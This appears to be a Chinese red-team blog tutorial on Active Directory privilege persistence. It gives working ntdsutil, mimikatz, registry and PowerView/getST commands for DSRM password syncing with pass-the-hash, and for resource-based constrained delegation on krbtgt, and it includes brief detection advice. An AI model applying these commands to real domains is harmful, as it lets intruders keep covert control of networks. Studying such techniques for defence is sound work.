前言
域内权限维持的方法总结如下:
- DSRM
- 利用基于资源的约束委派进行域权限维持
- Delegation Golden Ticket
- 利用域用户登陆脚本
- 万能密码(Skeleton-Key)
- 黄金票据
- AdminSDHolder
- SID History后门
技术展开
2.1 DSRM
原理
在每个域控机器下都有一个DSRM帐户,为DC的本地管理员账户,这个帐户的作用就是用来设定登陆服务还原模式 AD 节点的系统管理员密码,意思就是可以从新设置DC管理员的密码,在红队作战中,如果我们拿到了DSRM帐户的密码,就算哪天域管权限丢失,我们也可以把域内任意用户的密码同步到 DSRM 账户上[这里包括了 dc 本地的 admainistrator 用户],而后再利用 DSRM 账户 ipc 连到 dc 上把域管权限拿回来。
<!--DSRM账户是域控的本地管理员账户,并非域的管理员帐户,存储在SAM文件中,所以DSRM密码同步之后并不会影响域的管理员帐户,另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效,且更改域内的administrator帐户,并不会影响DSRM帐户,持久化效果会很好 -->
小细节:
代码语言:javascript复制Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步
Windows Server 2003不支持DSRM密码同步
利用方式
攻击者将DSRM账户的hash与krbtgt同步,就算此时应急改变DC的administrator的密码,也可以继续利用pth哈希传递攻击。
需要的条件:
- 此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。 1.1 直接修改DSRM 帐户的密码 1.2 域帐户同步的方式来修改
- 需要修改DSRM的登录方式。 2.1 通过注册表修改
实际操作
域帐户同步的方式来修改DSRM 帐户的密码
代码语言:javascript复制set dsrm password
sync from domain account 域用户
直接修改DSRM 帐户的密码(这种需要之前的administrator帐户密码)
代码语言:javascript复制运行 ntdsutil
#输入
reset password on server null
administrator帐户的密码
DSRM新密码
获取本地SAM 数据库的密码:
代码语言:javascript复制token::elevate
lsadump::sam
发现hash已经与域用户admin hash 同步了
修改DSRM登陆方式,允许DSRM帐户远程访问:
需设置注册表项,如果没有,则新建,计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa,设置值参考如下:
0:默认值,只有当域控重启并进入DSRM模式时,才可以使用DSRM管理员账号。
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控。
2:在任何情况下,都可以使用DSRM管理员账号登录域控。
我们需设置为2
然后mimikatz pth
代码语言:javascript复制sekurlsa::pth /domain:DC /User:administrator /ntml:hash
dir /a \DCC$
防御与检测:
代码语言:javascript复制1.定期检查注册表中用于控制DSRM登录方式的键值hklm:systemcurrentcontrolsetcontrollsa确认该键值为1,或者删除该键值。
2.定期修改域中所有域控的DSRM账号。
3.检查ID为4794的日志
2.2 利用基于资源的约束委派进行域权限维持
原理
基于资源的约束委派(Resource-based constrained delegation)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。
利用原理:给DC或者krbtgt 设置我们控制的主机资源的基于资源的委派,那么就能控制DC,达到权限维持的目的。
利用方式
主要有两种方法:
- 配置机器帐户到krbtgt帐户基于资源的约束委派
- 配置机器帐户到域控基于资源的约束委派
实际操作
配置机器帐户到krbtgt帐户基于资源的约束委派,使用的工具模块为 Powerview:
值得注意的是,基于资源的委派,必须是委派双方需资源,例如机器帐户,服务帐户什么的,不能是域用户,下面尝试使用设置域用户帐户设置基于资源的委派,发现能设置,但是实际上是用不了
- 获取test1域用户的sid
Get-DomainUser -Identity test1 -Properties objectsid
#S-1-5-21-2288091295-2811714918-3159536460-1107
- 设置test1到krbtgt 的基于资源的委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2288091295-2811714918-3159536460-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
需要域管理员权限才能设置,不然就会拒绝访问
3.查看是否设置成功
代码语言:javascript复制Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
也可以通过ActiveDirectory
模块添加:
代码语言:javascript复制只有Windows Server 2012以及以上的
ActiveDirectory
模块才有-PrincipalsAllowedToDelegateToAccount选项
Set-DomainObject Krbtgt -PrincipalsAllowedToDelegateToAccount test1
Get-DomainObject Krbtgt -Properties PrincipalsAllowedToDelegateToAccount
4.利用test1 域用户请求TGT:
代码语言:javascript复制getst.exe -dc-ip 192.168.140.1 -spn krbtgt -impersonate Administrator redteamspace.com/test1:1qaz@WSX
重新配置机器帐户到krbtgt帐户基于资源的约束委派,步骤相同,只需要把test1改成机器帐户,或者服务帐户
这里就能成功请求到票据了
这里就有DCSync的权限了,但如果要访问域空,那么krbtgt就得改成域控的机器帐户名了,或者其他服务。
请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!